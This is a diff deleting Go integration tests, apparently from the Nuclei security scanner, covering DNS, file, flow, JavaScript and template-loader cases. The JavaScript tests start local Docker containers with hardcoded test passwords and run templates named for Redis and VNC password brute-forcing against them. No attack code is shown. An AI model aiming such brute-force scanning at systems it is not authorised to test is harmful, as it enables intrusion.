func (h *dnsPtr) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "1.1.1.1", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type dnsCAA struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *dnsCAA) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "google.com", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type dnsTLSA struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *dnsTLSA) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
|
||||
type dnsVariables struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *dnsVariables) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "one.one.one.one", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type dnsPayload struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *dnsPayload) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "google.com", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := expectResultsCount(results, 3); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// override payload from CLI
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, "google.com", debug, "-var", "subdomain_wordlist=subdomains.txt")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 4)
|
||||
}
|
||||
|
||||
type dnsDSLMatcherVariable struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *dnsDSLMatcherVariable) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "one.one.one.one", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var fileTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/file/matcher-with-or.yaml", TestCase: &fileWithOrMatcher{}},
|
||||
{Path: "protocols/file/matcher-with-and.yaml", TestCase: &fileWithAndMatcher{}},
|
||||
{Path: "protocols/file/matcher-with-nested-and.yaml", TestCase: &fileWithAndMatcher{}},
|
||||
{Path: "protocols/file/extract.yaml", TestCase: &fileWithExtractor{}},
|
||||
}
|
||||
|
||||
type fileWithOrMatcher struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *fileWithOrMatcher) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug, "-file")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type fileWithAndMatcher struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *fileWithAndMatcher) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug, "-file")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type fileWithExtractor struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *fileWithExtractor) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "protocols/file/data/", debug, "-file")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
@@ -1,107 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
|
||||
"github.com/julienschmidt/httprouter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var flowTestcases = []TestCaseInfo{
|
||||
{Path: "flow/conditional-flow.yaml", TestCase: &conditionalFlow{}},
|
||||
{Path: "flow/conditional-flow-negative.yaml", TestCase: &conditionalFlowNegative{}},
|
||||
{Path: "flow/iterate-values-flow.yaml", TestCase: &iterateValuesFlow{}},
|
||||
{Path: "flow/iterate-one-value-flow.yaml", TestCase: &iterateOneValueFlow{}},
|
||||
{Path: "flow/dns-ns-probe.yaml", TestCase: &dnsNsProbe{}},
|
||||
{Path: "flow/flow-hide-matcher.yaml", TestCase: &flowHideMatcher{}},
|
||||
}
|
||||
|
||||
type conditionalFlow struct{}
|
||||
|
||||
func (t *conditionalFlow) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "cloud.projectdiscovery.io", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type conditionalFlowNegative struct{}
|
||||
|
||||
func (t *conditionalFlowNegative) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
|
||||
type iterateValuesFlow struct{}
|
||||
|
||||
func (t *iterateValuesFlow) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
testemails := []string{
|
||||
"[email protected]",
|
||||
"[email protected]",
|
||||
}
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = fmt.Fprint(w, testemails)
|
||||
})
|
||||
router.GET("/user/"+getBase64(testemails[0]), func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write([]byte("Welcome ! This is test matcher text"))
|
||||
})
|
||||
|
||||
router.GET("/user/"+getBase64(testemails[1]), func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write([]byte("Welcome ! This is test matcher text"))
|
||||
})
|
||||
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
type iterateOneValueFlow struct{}
|
||||
|
||||
func (t *iterateOneValueFlow) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "https://scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type dnsNsProbe struct{}
|
||||
|
||||
func (t *dnsNsProbe) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "oast.fun", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
func getBase64(input string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(input))
|
||||
}
|
||||
|
||||
type flowHideMatcher struct{}
|
||||
|
||||
func (t *flowHideMatcher) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// this matcher should not return any results
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
@@ -1,285 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/kitabisa/go-ci"
|
||||
"github.com/logrusorgru/aurora"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
)
|
||||
|
||||
type TestCaseInfo struct {
|
||||
Path string
|
||||
TestCase testutils.TestCase
|
||||
DisableOn func() bool
|
||||
}
|
||||
|
||||
var (
|
||||
debug = isDebugMode()
|
||||
customTests = os.Getenv("TESTS")
|
||||
protocol = os.Getenv("PROTO")
|
||||
|
||||
success = aurora.Green("[✓]").String()
|
||||
failed = aurora.Red("[✘]").String()
|
||||
|
||||
protocolTests = map[string][]TestCaseInfo{
|
||||
"http": httpTestcases,
|
||||
"interactsh": interactshTestCases,
|
||||
"network": networkTestcases,
|
||||
"dns": dnsTestCases,
|
||||
"workflow": workflowTestcases,
|
||||
"loader": loaderTestcases,
|
||||
"profile-loader": profileLoaderTestcases,
|
||||
"websocket": websocketTestCases,
|
||||
"headless": headlessTestcases,
|
||||
"whois": whoisTestCases,
|
||||
"ssl": sslTestcases,
|
||||
"library": libraryTestcases,
|
||||
"templatesPath": templatesPathTestCases,
|
||||
"templatesDir": templatesDirTestCases,
|
||||
"env_vars": templatesDirEnvTestCases,
|
||||
"file": fileTestcases,
|
||||
"offlineHttp": offlineHttpTestcases,
|
||||
"customConfigDir": customConfigDirTestCases,
|
||||
"fuzzing": fuzzingTestCases,
|
||||
"code": codeTestCases,
|
||||
"multi": multiProtoTestcases,
|
||||
"generic": genericTestcases,
|
||||
"dsl": dslTestcases,
|
||||
"flow": flowTestcases,
|
||||
"javascript": jsTestcases,
|
||||
"matcher-status": matcherStatusTestcases,
|
||||
"exporters": exportersTestCases,
|
||||
}
|
||||
|
||||
// flakyTests are run with a retry count of 3
|
||||
flakyTests = map[string]bool{
|
||||
"protocols/http/self-contained-file-input.yaml": true,
|
||||
}
|
||||
|
||||
// For debug purposes
|
||||
runProtocol = ""
|
||||
runTemplate = ""
|
||||
extraArgs = []string{}
|
||||
interactshRetryCount = 3
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.StringVar(&runProtocol, "protocol", "", "run integration tests of given protocol")
|
||||
flag.StringVar(&runTemplate, "template", "", "run integration test of given template")
|
||||
flag.Parse()
|
||||
|
||||
// allows passing extra args to nuclei
|
||||
eargs := os.Getenv("DebugExtraArgs")
|
||||
if eargs != "" {
|
||||
extraArgs = strings.Split(eargs, " ")
|
||||
testutils.ExtraDebugArgs = extraArgs
|
||||
}
|
||||
|
||||
if runProtocol != "" {
|
||||
debugTests()
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// start fuzz playground server
|
||||
server := fuzzplayground.GetPlaygroundServer()
|
||||
defer func() {
|
||||
fuzzplayground.Cleanup()
|
||||
_ = server.Close()
|
||||
}()
|
||||
|
||||
go func() {
|
||||
if err := server.Start("localhost:8082"); err != nil {
|
||||
if !strings.Contains(err.Error(), "Server closed") {
|
||||
gologger.Fatal().Msgf("Could not start server: %s\n", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
customTestsList := normalizeSplit(customTests)
|
||||
failedTestTemplatePaths := runTests(customTestsList)
|
||||
|
||||
if len(failedTestTemplatePaths) > 0 {
|
||||
if ci.IsCI() {
|
||||
// run failed tests again assuming they are flaky
|
||||
// if they fail as well only then we assume that there is an actual issue
|
||||
fmt.Println("::group::Running failed tests again")
|
||||
failedTestTemplatePaths = runTests(failedTestTemplatePaths)
|
||||
fmt.Println("::endgroup::")
|
||||
|
||||
if len(failedTestTemplatePaths) > 0 {
|
||||
debug = true
|
||||
fmt.Println("::group::Failed integration tests in debug mode")
|
||||
_ = runTests(failedTestTemplatePaths)
|
||||
fmt.Println("::endgroup::")
|
||||
} else {
|
||||
fmt.Println("::group::All tests passed")
|
||||
fmt.Println("::endgroup::")
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// isDebugMode checks if debug mode is enabled via any of the supported debug
|
||||
// environment variables.
|
||||
func isDebugMode() bool {
|
||||
debugEnvVars := []string{
|
||||
"DEBUG",
|
||||
"ACTIONS_RUNNER_DEBUG", // GitHub Actions runner debug
|
||||
// Add more debug environment variables here as needed
|
||||
}
|
||||
|
||||
truthyValues := []string{"true", "1", "yes", "on", "enabled"}
|
||||
|
||||
for _, envVar := range debugEnvVars {
|
||||
envValue := strings.ToLower(strings.TrimSpace(os.Getenv(envVar)))
|
||||
if slices.Contains(truthyValues, envValue) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// execute a testcase with retry and consider best of N
|
||||
// intended for flaky tests like interactsh
|
||||
func executeWithRetry(testCase testutils.TestCase, templatePath string, retryCount int) (string, error) {
|
||||
var err error
|
||||
for i := 0; i < retryCount; i++ {
|
||||
err = testCase.Execute(templatePath)
|
||||
if err == nil {
|
||||
fmt.Printf("%s Test \"%s\" passed!\n", success, templatePath)
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
_, _ = fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed after %v attempts : %s\n", failed, templatePath, retryCount, err)
|
||||
return templatePath, err
|
||||
}
|
||||
|
||||
func debugTests() {
|
||||
testCaseInfos := protocolTests[runProtocol]
|
||||
for _, testCaseInfo := range testCaseInfos {
|
||||
if (runTemplate != "" && !strings.Contains(testCaseInfo.Path, runTemplate)) ||
|
||||
(testCaseInfo.DisableOn != nil && testCaseInfo.DisableOn()) {
|
||||
continue
|
||||
}
|
||||
if runProtocol == "interactsh" {
|
||||
if _, err := executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount); err != nil {
|
||||
fmt.Printf("\n%v", err.Error())
|
||||
}
|
||||
} else {
|
||||
if _, err := execute(testCaseInfo.TestCase, testCaseInfo.Path); err != nil {
|
||||
fmt.Printf("\n%v", err.Error())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runTests(customTemplatePaths []string) []string {
|
||||
var failedTestTemplatePaths []string
|
||||
|
||||
for proto, testCaseInfos := range protocolTests {
|
||||
if protocol != "" {
|
||||
if !strings.EqualFold(proto, protocol) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
if len(customTemplatePaths) == 0 {
|
||||
fmt.Printf("Running test cases for %q protocol\n", aurora.Blue(proto))
|
||||
}
|
||||
for _, testCaseInfo := range testCaseInfos {
|
||||
if testCaseInfo.DisableOn != nil && testCaseInfo.DisableOn() {
|
||||
fmt.Printf("skipping test case %v. disabled on %v.\n", aurora.Blue(testCaseInfo.Path), runtime.GOOS)
|
||||
continue
|
||||
}
|
||||
if len(customTemplatePaths) == 0 || sliceutil.Contains(customTemplatePaths, testCaseInfo.Path) {
|
||||
var failedTemplatePath string
|
||||
var err error
|
||||
if proto == "interactsh" || strings.Contains(testCaseInfo.Path, "interactsh") {
|
||||
failedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)
|
||||
} else if flakyTests[testCaseInfo.Path] {
|
||||
failedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)
|
||||
} else {
|
||||
failedTemplatePath, err = execute(testCaseInfo.TestCase, testCaseInfo.Path)
|
||||
}
|
||||
if err != nil {
|
||||
failedTestTemplatePaths = append(failedTestTemplatePaths, failedTemplatePath)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return failedTestTemplatePaths
|
||||
}
|
||||
|
||||
func execute(testCase testutils.TestCase, templatePath string) (string, error) {
|
||||
if err := testCase.Execute(templatePath); err != nil {
|
||||
_, _ = fmt.Fprintf(os.Stderr, "%s Test \"%s\" failed: %s\n", failed, templatePath, err)
|
||||
return templatePath, err
|
||||
}
|
||||
|
||||
fmt.Printf("%s Test \"%s\" passed!\n", success, templatePath)
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func expectResultsCount(results []string, expectedNumbers ...int) error {
|
||||
results = filterLines(results)
|
||||
match := sliceutil.Contains(expectedNumbers, len(results))
|
||||
if !match {
|
||||
return fmt.Errorf("incorrect number of results: %d (actual) vs %v (expected) \nResults:\n\t%s\n", len(results), expectedNumbers, strings.Join(results, "\n\t")) // nolint:all
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func normalizeSplit(str string) []string {
|
||||
return strings.FieldsFunc(str, func(r rune) bool {
|
||||
return r == ','
|
||||
})
|
||||
}
|
||||
|
||||
// filterLines applies all filtering functions to the results
|
||||
func filterLines(results []string) []string {
|
||||
results = filterHeadlessLogs(results)
|
||||
results = filterUnsignedTemplatesWarnings(results)
|
||||
return results
|
||||
}
|
||||
|
||||
// if chromium is not installed go-rod installs it in .cache directory
|
||||
// this function filters out the logs from download and installation
|
||||
func filterHeadlessLogs(results []string) []string {
|
||||
// [launcher.Browser] 2021/09/23 15:24:05 [launcher] [info] Starting browser
|
||||
filtered := []string{}
|
||||
for _, result := range results {
|
||||
if strings.Contains(result, "[launcher.Browser]") {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, result)
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
// filterUnsignedTemplatesWarnings filters out warning messages about unsigned templates
|
||||
func filterUnsignedTemplatesWarnings(results []string) []string {
|
||||
filtered := []string{}
|
||||
unsignedTemplatesRegex := regexp.MustCompile(`Loading \d+ unsigned templates for scan\. Use with caution\.`)
|
||||
for _, result := range results {
|
||||
if unsignedTemplatesRegex.MatchString(result) {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, result)
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
@@ -1,284 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"github.com/ory/dockertest/v3"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
osutils "github.com/projectdiscovery/utils/os"
|
||||
"go.uber.org/multierr"
|
||||
)
|
||||
|
||||
var jsTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/javascript/redis-pass-brute.yaml", TestCase: &javascriptRedisPassBrute{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/javascript/ssh-server-fingerprint.yaml", TestCase: &javascriptSSHServerFingerprint{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/javascript/net-multi-step.yaml", TestCase: &networkMultiStep{}},
|
||||
{Path: "protocols/javascript/net-https.yaml", TestCase: &javascriptNetHttps{}},
|
||||
{Path: "protocols/javascript/oracle-auth-test.yaml", TestCase: &javascriptOracleAuthTest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/javascript/vnc-pass-brute.yaml", TestCase: &javascriptVncPassBrute{}},
|
||||
{Path: "protocols/javascript/multi-ports.yaml", TestCase: &javascriptMultiPortsSSH{}},
|
||||
}
|
||||
|
||||
var (
|
||||
redisResource *dockertest.Resource
|
||||
sshResource *dockertest.Resource
|
||||
oracleResource *dockertest.Resource
|
||||
vncResource *dockertest.Resource
|
||||
pool *dockertest.Pool
|
||||
defaultRetry = 3
|
||||
)
|
||||
|
||||
type javascriptNetHttps struct{}
|
||||
|
||||
func (j *javascriptNetHttps) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type javascriptRedisPassBrute struct{}
|
||||
|
||||
func (j *javascriptRedisPassBrute) Execute(filePath string) error {
|
||||
if redisResource == nil || pool == nil {
|
||||
// skip test as redis is not running
|
||||
return nil
|
||||
}
|
||||
tempPort := redisResource.GetPort("6379/tcp")
|
||||
finalURL := "localhost:" + tempPort
|
||||
defer purge(redisResource)
|
||||
errs := []error{}
|
||||
for i := 0; i < defaultRetry; i++ {
|
||||
results := []string{}
|
||||
var err error
|
||||
_ = pool.Retry(func() error {
|
||||
//let ssh server start
|
||||
time.Sleep(3 * time.Second)
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := expectResultsCount(results, 1); err == nil {
|
||||
return nil
|
||||
} else {
|
||||
errs = append(errs, err)
|
||||
}
|
||||
}
|
||||
return multierr.Combine(errs...)
|
||||
}
|
||||
|
||||
type javascriptSSHServerFingerprint struct{}
|
||||
|
||||
func (j *javascriptSSHServerFingerprint) Execute(filePath string) error {
|
||||
if sshResource == nil || pool == nil {
|
||||
// skip test as redis is not running
|
||||
return nil
|
||||
}
|
||||
tempPort := sshResource.GetPort("2222/tcp")
|
||||
finalURL := "localhost:" + tempPort
|
||||
defer purge(sshResource)
|
||||
errs := []error{}
|
||||
for i := 0; i < defaultRetry; i++ {
|
||||
results := []string{}
|
||||
var err error
|
||||
_ = pool.Retry(func() error {
|
||||
//let ssh server start
|
||||
time.Sleep(3 * time.Second)
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := expectResultsCount(results, 1); err == nil {
|
||||
return nil
|
||||
} else {
|
||||
errs = append(errs, err)
|
||||
}
|
||||
}
|
||||
return multierr.Combine(errs...)
|
||||
}
|
||||
|
||||
type javascriptOracleAuthTest struct{}
|
||||
|
||||
func (j *javascriptOracleAuthTest) Execute(filePath string) error {
|
||||
if oracleResource == nil || pool == nil {
|
||||
// skip test as oracle is not running
|
||||
return nil
|
||||
}
|
||||
tempPort := oracleResource.GetPort("1521/tcp")
|
||||
finalURL := "localhost:" + tempPort
|
||||
defer purge(oracleResource)
|
||||
|
||||
errs := []error{}
|
||||
for i := 0; i < defaultRetry; i++ {
|
||||
results := []string{}
|
||||
var err error
|
||||
_ = pool.Retry(func() error {
|
||||
//let ssh server start
|
||||
time.Sleep(3 * time.Second)
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := expectResultsCount(results, 1); err == nil {
|
||||
return nil
|
||||
} else {
|
||||
errs = append(errs, err)
|
||||
}
|
||||
}
|
||||
return multierr.Combine(errs...)
|
||||
}
|
||||
|
||||
type javascriptVncPassBrute struct{}
|
||||
|
||||
func (j *javascriptVncPassBrute) Execute(filePath string) error {
|
||||
if vncResource == nil || pool == nil {
|
||||
// skip test as vnc is not running
|
||||
return nil
|
||||
}
|
||||
tempPort := vncResource.GetPort("5900/tcp")
|
||||
finalURL := "localhost:" + tempPort
|
||||
defer purge(vncResource)
|
||||
errs := []error{}
|
||||
for i := 0; i < defaultRetry; i++ {
|
||||
results := []string{}
|
||||
var err error
|
||||
_ = pool.Retry(func() error {
|
||||
//let ssh server start
|
||||
time.Sleep(3 * time.Second)
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := expectResultsCount(results, 1); err == nil {
|
||||
return nil
|
||||
} else {
|
||||
errs = append(errs, err)
|
||||
}
|
||||
}
|
||||
return multierr.Combine(errs...)
|
||||
}
|
||||
|
||||
type javascriptMultiPortsSSH struct{}
|
||||
|
||||
func (j *javascriptMultiPortsSSH) Execute(filePath string) error {
|
||||
// use scanme.sh as target to ensure we match on the 2nd default port 22
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// purge any given resource if it is not nil
|
||||
func purge(resource *dockertest.Resource) {
|
||||
if resource != nil && pool != nil {
|
||||
containerName := resource.Container.Name
|
||||
_ = pool.Client.StopContainer(resource.Container.ID, 0)
|
||||
err := pool.Purge(resource)
|
||||
if err != nil {
|
||||
log.Printf("Could not purge resource: %s", err)
|
||||
}
|
||||
_ = pool.RemoveContainerByName(containerName)
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
// uses a sensible default on windows (tcp/http) and linux/osx (socket)
|
||||
pool, err := dockertest.NewPool("")
|
||||
if err != nil {
|
||||
log.Printf("something went wrong with dockertest: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// uses pool to try to connect to Docker
|
||||
err = pool.Client.Ping()
|
||||
if err != nil {
|
||||
log.Printf("Could not connect to Docker: %s", err)
|
||||
}
|
||||
|
||||
// setup a temporary redis instance
|
||||
redisResource, err = pool.RunWithOptions(&dockertest.RunOptions{
|
||||
Repository: "redis",
|
||||
Tag: "latest",
|
||||
Cmd: []string{"redis-server", "--requirepass", "iamadmin"},
|
||||
Platform: "linux/amd64",
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Could not start resource: %s", err)
|
||||
return
|
||||
}
|
||||
// by default expire after 30 sec
|
||||
if err := redisResource.Expire(30); err != nil {
|
||||
log.Printf("Could not expire resource: %s", err)
|
||||
}
|
||||
|
||||
// setup a temporary ssh server
|
||||
sshResource, err = pool.RunWithOptions(&dockertest.RunOptions{
|
||||
Repository: "lscr.io/linuxserver/openssh-server",
|
||||
Tag: "latest",
|
||||
Env: []string{
|
||||
"PUID=1000",
|
||||
"PGID=1000",
|
||||
"TZ=Etc/UTC",
|
||||
"PASSWORD_ACCESS=true",
|
||||
"USER_NAME=admin",
|
||||
"USER_PASSWORD=admin",
|
||||
},
|
||||
Platform: "linux/amd64",
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Could not start resource: %s", err)
|
||||
return
|
||||
}
|
||||
// by default expire after 30 sec
|
||||
if err := sshResource.Expire(30); err != nil {
|
||||
log.Printf("Could not expire resource: %s", err)
|
||||
}
|
||||
|
||||
// setup a temporary oracle instance
|
||||
oracleResource, err = pool.RunWithOptions(&dockertest.RunOptions{
|
||||
Repository: "gvenzl/oracle-xe",
|
||||
Tag: "latest",
|
||||
Env: []string{
|
||||
"ORACLE_PASSWORD=mysecret",
|
||||
},
|
||||
Platform: "linux/amd64",
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Could not start Oracle resource: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// by default expire after 30 sec
|
||||
if err := oracleResource.Expire(30); err != nil {
|
||||
log.Printf("Could not expire Oracle resource: %s", err)
|
||||
}
|
||||
|
||||
// setup a temporary vnc server
|
||||
vncResource, err = pool.RunWithOptions(&dockertest.RunOptions{
|
||||
Repository: "dorowu/ubuntu-desktop-lxde-vnc",
|
||||
Tag: "latest",
|
||||
Env: []string{
|
||||
"VNC_PASSWORD=mysecret",
|
||||
},
|
||||
Platform: "linux/amd64",
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("Could not start resource: %s", err)
|
||||
return
|
||||
}
|
||||
// by default expire after 30 sec
|
||||
if err := vncResource.Expire(30); err != nil {
|
||||
log.Printf("Could not expire resource: %s", err)
|
||||
}
|
||||
}
|
||||
@@ -1,229 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/julienschmidt/httprouter"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/utils/errkit"
|
||||
permissionutil "github.com/projectdiscovery/utils/permission"
|
||||
)
|
||||
|
||||
var loaderTestcases = []TestCaseInfo{
|
||||
{Path: "loader/template-list.yaml", TestCase: &remoteTemplateList{}},
|
||||
{Path: "loader/workflow-list.yaml", TestCase: &remoteWorkflowList{}},
|
||||
{Path: "loader/excluded-template.yaml", TestCase: &excludedTemplate{}},
|
||||
{Path: "loader/nonexistent-template-list.yaml", TestCase: &nonExistentTemplateList{}},
|
||||
{Path: "loader/nonexistent-workflow-list.yaml", TestCase: &nonExistentWorkflowList{}},
|
||||
{Path: "loader/template-list-not-allowed.yaml", TestCase: &remoteTemplateListNotAllowed{}},
|
||||
{Path: "loader/load-template-with-id", TestCase: &loadTemplateWithID{}},
|
||||
}
|
||||
|
||||
type remoteTemplateList struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *remoteTemplateList) Execute(templateList string) error {
|
||||
router := httprouter.New()
|
||||
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
_, _ = fmt.Fprintf(w, "This is test matcher text")
|
||||
if strings.EqualFold(r.Header.Get("test"), "nuclei") {
|
||||
_, _ = fmt.Fprintf(w, "This is test headers matcher text")
|
||||
}
|
||||
})
|
||||
|
||||
router.GET("/template_list", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
file, err := os.ReadFile(templateList)
|
||||
if err != nil {
|
||||
w.WriteHeader(500)
|
||||
}
|
||||
_, err = w.Write(file)
|
||||
if err != nil {
|
||||
w.WriteHeader(500)
|
||||
}
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
